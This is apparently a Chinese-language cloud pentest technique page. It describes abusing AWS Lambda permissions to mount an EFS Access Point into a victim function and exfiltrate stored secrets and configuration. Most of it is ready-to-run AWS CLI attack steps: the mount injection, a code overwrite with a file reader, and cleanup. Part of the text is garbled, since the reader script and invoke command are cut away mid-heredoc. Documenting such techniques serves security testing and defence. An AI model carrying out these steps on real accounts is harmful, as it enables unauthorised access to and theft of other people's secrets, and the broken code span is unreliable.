# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (数据窃取) 滥用 `lambda:UpdateFunctionConfiguration` 将现有 EFS Access Point 附加到 Lambda,然后部署简单代码,列出/读取挂载路径中的文件,以 exfiltrate 函数之前无法访问的共享 secrets/config。 ## 要求 - 受害者账户/主体的权限: - `lambda:GetFunctionConfiguration` - `lambda:ListFunctions` (用于查找 functions) - `lambda:UpdateFunctionConfiguration` - `lambda:UpdateFunctionCode` - `lambda:InvokeFunction` - `efs:DescribeMountTargets` (用于确认 mount targets 存在) - 环境假设: - 目标 Lambda 已启用 VPC,且其子网/SGs 可通过 TCP/2049 访问 EFS 挂载目标的 SG(例如,角色具有 AWSLambdaVPCAccessExecutionRole 且 VPC 路由允许)。 - EFS Access Point 位于相同 VPC,并在 Lambda 子网所在的 AZs 中有挂载目标。 ## 攻击 - 变量 ``` REGION=us-east-1 TARGET_FN= EFS_AP_ARN= ``` 1) 将 EFS Access Point 附加到 Lambda ``` aws lambda update-function-configuration \ --function-name $TARGET_FN \ --file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \ --region $REGION # wait until LastUpdateStatus == Successful until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done ``` 2) 用一个简单的读取器覆盖代码,该读取器列出文件并查看候选 secret/config file 的前 200 bytes ``` cat > reader.py </dev/null cat /tmp/efs-out.json ``` 输出应包含 /mnt/ht 下的目录列表,以及从 EFS 中选择的一个 secret/config file 的小预览。 ## 影响 拥有所列权限的攻击者可以将任意 in-VPC EFS Access Points 挂载到受害者的 Lambda 函数中,以读取并外传存储在 EFS 上的共享配置和 secrets,这些内容此前对该函数不可访问。 ## 清理 ``` aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true ```